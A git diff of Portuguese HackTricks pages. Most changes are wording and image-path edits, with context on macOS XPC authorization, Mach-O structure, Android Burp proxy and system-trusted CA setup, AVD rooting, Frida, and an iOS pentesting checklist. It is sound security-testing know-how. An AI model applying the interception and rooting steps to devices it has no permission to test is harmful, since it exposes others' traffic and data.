Por exemplo, as informações sobre o usuário chamado _mark_ são armazenadas em _/var/db/dslocal/nodes/Default/users/mark.plist_ e as informações sobre o grupo _admin_ estão em _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Além de usar as arestas HasSession e AdminTo, **MacHound adiciona três novas arestas** ao banco de dados Bloodhound:
|
||||
Além de usar as arestas HasSession e AdminTo, o **MacHound adiciona três novas arestas** ao banco de dados Bloodhound:
|
||||
|
||||
* **CanSSH** - entidade permitida a fazer SSH para o host
|
||||
* **CanVNC** - entidade permitida a fazer VNC para o host
|
||||
|
|
|
@ -47,7 +47,7 @@ Para obter mais informações sobre como configurar corretamente essa verificaç
|
|||
|
||||
No entanto, há alguma **autorização ocorrendo quando um método do HelperTool é chamado**.
|
||||
|
||||
A função **`applicationDidFinishLaunching`** do arquivo `App/AppDelegate.m` criará uma referência de autorização vazia após o aplicativo ser iniciado. Isso deve funcionar sempre.\
|
||||
A função **`applicationDidFinishLaunching`** do arquivo `App/AppDelegate.m` criará uma referência de autorização vazia após o aplicativo ser iniciado. Isso deve sempre funcionar.\
|
||||
Em seguida, ele tentará **adicionar alguns direitos** a essa referência de autorização chamando `setupAuthorizationRights`:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
|
@ -286,7 +286,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
Se você encontrar a função: **`[HelperTool checkAuthorization:command:]`**, provavelmente o processo está usando o esquema mencionado anteriormente para autorização:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Assim, se essa função estiver chamando funções como `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, está usando o [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
|
@ -298,7 +298,7 @@ Em seguida, você precisa encontrar o esquema de protocolo para poder estabelece
|
|||
|
||||
A função **`shouldAcceptNewConnection`** indica o protocolo sendo exportado:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Neste caso, temos o mesmo que no EvenBetterAuthorizationSample, [**verifique esta linha**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
|
@ -320,7 +320,7 @@ Por último, precisamos saber o **nome do Mach Service exposto** para estabelece
|
|||
|
||||
* No **`[HelperTool init]`**, onde você pode ver o Mach Service sendo usado:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* No plist do launchd:
|
||||
```xml
|
||||
|
|
|
@ -22,7 +22,7 @@ Obviamente, isso é tão poderoso que é complicado carregar uma extensão de ke
|
|||
|
||||
* Ao entrar no **modo de recuperação**, as extensões de kernel devem estar **habilitadas para carregamento**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* A extensão de kernel deve estar **assinada com um certificado de assinatura de código de kernel**, que só pode ser concedido pela **Apple**. Eles revisarão detalhadamente a **empresa** e as **razões** pelas quais é necessária.
|
||||
* A extensão de kernel também deve ser **notarizada**, a Apple poderá verificá-la em busca de malware.
|
||||
|
|
|
@ -172,7 +172,7 @@ Exemplo de cabeçalho do segmento:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Esse cabeçalho define o **número de seções cujos cabeçalhos aparecem depois** dele:
|
||||
Este cabeçalho define o **número de seções cujos cabeçalhos aparecem depois** dele:
|
||||
```c
|
||||
struct section_64 { /* for 64-bit architectures */
|
||||
char sectname[16]; /* name of this section */
|
||||
|
@ -195,7 +195,7 @@ Exemplo de **cabeçalho de seção**:
|
|||
|
||||
Se você **adicionar** o **deslocamento da seção** (0x37DC) + o **deslocamento** onde o **arquitetura começa**, neste caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Também é possível obter **informações de cabeçalho** a partir da **linha de comando** com:
|
||||
```bash
|
||||
|
@ -232,7 +232,7 @@ Contém o **caminho para o executável do linker dinâmico** que mapeia bibliote
|
|||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
Este comando de carregamento descreve uma **dependência de biblioteca dinâmica** que instrui o **carregador** (dyld) a **carregar e vincular a biblioteca** mencionada. Há um comando de carregamento LC\_LOAD\_DYLIB **para cada biblioteca** que o binário Mach-O requer.
|
||||
Este comando de carregamento descreve uma **dependência de biblioteca dinâmica** que **instrui** o **carregador** (dyld) a **carregar e vincular a biblioteca** mencionada. Há um comando de carregamento LC\_LOAD\_DYLIB **para cada biblioteca** que o binário Mach-O requer.
|
||||
|
||||
* Este comando de carregamento é uma estrutura do tipo **`dylib_command`** (que contém uma struct dylib, descrevendo a biblioteca dinâmica dependente real):
|
||||
```objectivec
|
||||
|
@ -259,7 +259,7 @@ otool -L /bin/ls
|
|||
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
|
||||
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
|
||||
```
|
||||
Algumas bibliotecas relacionadas a malware potencial são:
|
||||
Algumas bibliotecas relacionadas a malwares potenciais são:
|
||||
|
||||
* **DiskArbitration**: Monitoramento de unidades USB
|
||||
* **AVFoundation:** Captura de áudio e vídeo
|
||||
|
@ -284,7 +284,7 @@ Isso inclui: 
|
|||
|
||||
* **Tabela de funções:** Que contém informações sobre as funções do programa.
|
||||
* **Tabela de símbolos**: Que contém informações sobre as funções externas usadas pelo binário
|
||||
* Também pode conter nomes de funções internas, variáveis e mais.
|
||||
* Também pode conter nomes de funções internas, variáveis e muito mais.
|
||||
|
||||
Para verificar, você pode usar a ferramenta [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
|
|
|
@ -21,11 +21,11 @@ Ele cria dois pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127]
|
|||
|
||||
Portanto, se você acessar o diretório **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que podem ser usados para depurar aplicações .Net:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador.
|
||||
|
||||
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem via o pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
|
||||
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem através do pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
|
||||
```c
|
||||
struct MessageHeader
|
||||
{
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -26,13 +26,13 @@ Acesse hoje mesmo:
|
|||
|
||||
Endereço: **192.168.56.1** e Porta: **1337**
|
||||
|
||||
Escolha a opção _**Todas as Interfaces**_.
|
||||
Escolha a opção _**All Interfaces**_.
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*0Bn7HvqI775Nr5fXGcqoJA.png)
|
||||
|
||||
## **Adicionando um ouvinte no dispositivo Android.**
|
||||
|
||||
Configurações → Wi-Fi → SSID com fio (Pressione por um longo tempo)
|
||||
Configurações → Wi-Fi → WiredSSID (Pressione por um longo tempo)
|
||||
|
||||
Escolha Modificar rede → Verifique as opções avançadas.
|
||||
|
||||
|
@ -58,7 +58,7 @@ Baixe o certificado do burp. — Use sua máquina desktop para baixar o certific
|
|||
|
||||
![](https://miro.medium.com/max/700/1\*f4LjnkNs7oA1f4XokEeiTw.png)
|
||||
|
||||
Clique em **CA certificate** para baixar o certificado.
|
||||
Clique em **CA certificate para baixar o certificado.**
|
||||
|
||||
O certificado baixado está com a extensão cacert.der e o Android 5.\* não o reconhece como arquivo de certificado.
|
||||
|
||||
|
@ -88,7 +88,7 @@ Após instalar o certificado, os pontos de extremidade SSL também funcionam cor
|
|||
Depois de instalar o certificado desta forma, o Firefox para Android não o usará (com base nos meus testes), portanto, use um navegador diferente.
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -103,5 +103,7 @@ Acesse hoje mesmo:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me no Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -62,7 +62,7 @@ Na visualização atual, você poderá **selecionar e baixar a imagem do Android
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (673).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Portanto, selecione-o e se ele não estiver baixado, clique no símbolo _**Download**_ ao lado do nome (**agora aguarde até que a imagem seja baixada).**\
|
||||
Portanto, selecione-o e se não estiver baixado, clique no símbolo _**Download**_ ao lado do nome (**agora aguarde até que a imagem seja baixada).**\
|
||||
Assim que a imagem for baixada, basta selecionar **`Avançar`** e **`Concluir`**.
|
||||
|
||||
A máquina virtual será criada. Agora, **sempre que você acessar o gerenciador AVD, ela estará presente**.
|
||||
|
@ -75,7 +75,7 @@ Para **executá-la**, basta pressionar o _**botão Iniciar**_.
|
|||
|
||||
## Ferramenta de Linha de Comando
|
||||
|
||||
Antes de tudo, você precisa **decidir qual telefone você deseja usar**, para ver a lista de telefones possíveis, execute:
|
||||
Antes de tudo, você precisa **decidir qual telefone deseja usar**, para ver a lista de telefones possíveis, execute:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
|
||||
|
||||
|
@ -116,7 +116,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platform
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Depois de baixar a imagem do Android que você deseja usar, você pode **listar todas as imagens do Android baixadas** com:
|
||||
Depois de ter baixado a imagem do Android que você deseja usar, você pode **listar todas as imagens do Android baixadas** com:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
|
@ -207,7 +207,7 @@ No entanto, existem **muitas opções úteis de linha de comando diferentes** qu
|
|||
|
||||
## Fazendo root em um dispositivo da Play Store
|
||||
|
||||
Se você baixou um dispositivo com a Play Store, você não poderá obter acesso root diretamente e receberá esta mensagem de erro
|
||||
Se você baixou um dispositivo com a Play Store, não será possível obter acesso root diretamente e você receberá esta mensagem de erro
|
||||
```
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
|
@ -254,19 +254,19 @@ Explicado neste [**vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8), você
|
|||
|
||||
1. **Instalar um certificado CA**: Basta **arrastar e soltar** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que ele seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifique se o certificado foi armazenado corretamente indo para `Credenciais confiáveis` -> `USUÁRIO`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Torná-lo confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte-o** no telefone, vá para o aplicativo **Magics** no telefone para a seção **`Módulos`**, clique em **`Instalar a partir do armazenamento`**, selecione o módulo `.zip` e uma vez instalado, **reinicie** o telefone:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Após reiniciar, vá para `Credenciais confiáveis` -> `SISTEMA` e verifique se o certificado do Postswigger está lá
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Ótimas Opções AVD
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -133,7 +133,7 @@ Você pode ver isso no [próximo tutorial](frida-tutorial-2.md).
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -143,7 +143,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Lista de Verificação para Pentesting em iOS
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -13,7 +13,7 @@ Acesse hoje mesmo:
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -42,7 +42,7 @@ Acesse hoje mesmo:
|
|||
|
||||
### Teclados
|
||||
|
||||
* [ ] O aplicativo permite o uso de [**teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] O aplicativo [**permite o uso de teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Verifique se informações sensíveis são salvas nos [**arquivos de cache dos teclados**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
|
||||
### **Logs**
|
||||
|
@ -119,10 +119,10 @@ Acesse hoje mesmo:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# iOS Pentesting
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -60,7 +60,7 @@ Identificação das **proteções presentes no binário**:
|
|||
```
|
||||
otool -hv <app-binary> | grep PIE # Deve incluir a flag PIE
|
||||
```
|
||||
* **Canários de pilha**: Para validar a integridade da pilha, um valor 'canário' é colocado na pilha antes de chamar uma função e é validado novamente quando a função termina.
|
||||
* **Stack Canaries**: Para validar a integridade da pilha, um valor 'canary' é colocado na pilha antes de chamar uma função e é validado novamente quando a função termina.
|
||||
|
||||
```
|
||||
otool -I -v <app-binary> | grep stack_chk # Deve incluir os símbolos: stack_chk_guard e stack_chk_fail
|
||||
|
@ -70,7 +70,7 @@ otool -I -v <app-binary> | grep stack_chk # Deve incluir os símbolos: stack_c
|
|||
```
|
||||
otool -I -v <app-binary> | grep objc_release # Deve incluir o símbolo _objc_release
|
||||
```
|
||||
* **Binário criptografado**: O binário deve estar criptografado
|
||||
* **Binary Criptografado**: O binário deve estar criptografado
|
||||
|
||||
```
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # O cryptid deve ser 1
|
||||
|
@ -78,7 +78,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # O cryptid deve ser 1
|
|||
|
||||
**Identificação de Funções Sensíveis/Inseguras**
|
||||
|
||||
* **Algoritmos de hash fracos**
|
||||
* **Algoritmos de Hash Fracos**
|
||||
|
||||
```
|
||||
# No dispositivo iOS
|
||||
|
@ -89,7 +89,7 @@ otool -Iv <app> | grep -w "_CC_SHA1"
|
|||
grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
* **Funções de aleatoriedade inseguras**
|
||||
* **Funções de Aleatoriedade Inseguras**
|
||||
|
||||
```
|
||||
# No dispositivo iOS
|
||||
|
@ -102,7 +102,7 @@ grep -iER "_random"
|
|||
grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
* **Função 'Malloc' insegura**
|
||||
* **Função 'Malloc' Insegura**
|
||||
|
||||
```
|
||||
# No dispositivo iOS
|
||||
|
@ -111,7 +111,7 @@ otool -Iv <app> | grep -w "_malloc"
|
|||
# No linux
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
* **Funções inseguras e vulneráveis**
|
||||
* **Funções Inseguras e Vulneráveis**
|
||||
|
||||
```
|
||||
# No dispositivo iOS
|
||||
|
@ -146,7 +146,7 @@ Confira a análise dinâmica realizada pelo [**MobSF**](https://github.com/MobSF
|
|||
|
||||
### Listando Apps Instalados
|
||||
|
||||
Ao direcionar apps que estão instalados no dispositivo, você primeiro precisa descobrir o identificador de pacote correto do aplicativo que deseja analisar. Você pode usar `frida-ps -Uai` para obter todos os apps (`-a`) atualmente instalados (`-i`) no dispositivo USB conectado (`-U`):
|
||||
Ao direcionar apps instalados no dispositivo, você primeiro precisa descobrir o identificador de pacote correto do aplicativo que deseja analisar. Você pode usar `frida-ps -Uai` para obter todos os apps (`-a`) atualmente instalados (`-i`) no dispositivo USB conectado (`-U`):
|
||||
```bash
|
||||
$ frida-ps -Uai
|
||||
PID Name Identifier
|
||||
|
@ -161,7 +161,7 @@ PID Name Identifier
|
|||
```
|
||||
### Enumeração Básica e Hooking
|
||||
|
||||
Aprenda como **enumerar os componentes do aplicativo** e como facilmente **hookar métodos e classes** com o objection:
|
||||
Aprenda como **enumerar os componentes do aplicativo** e como facilmente **hookar métodos e classes** com o Objection:
|
||||
|
||||
{% content-ref url="ios-hooking-with-objection.md" %}
|
||||
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
|
||||
|
@ -176,10 +176,10 @@ Após descompactá-los, você deve ver `<NOME>.app`, um arquivo compactado que c
|
|||
* `_CodeSignature/` contém um arquivo plist com uma assinatura sobre todos os arquivos no pacote.
|
||||
* `Assets.car`: Outro arquivo compactado que contém recursos (ícones).
|
||||
* `Frameworks/` contém as bibliotecas nativas do aplicativo como arquivos .dylib ou .framework.
|
||||
* `PlugIns/` pode conter extensões de aplicativos como arquivos .appex (não presentes no exemplo).
|
||||
* [`Core Data`](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes do seu aplicativo para uso offline, para armazenar dados temporários em cache e adicionar funcionalidade de desfazer ao seu aplicativo em um único dispositivo. Para sincronizar dados em vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema em um contêiner CloudKit.
|
||||
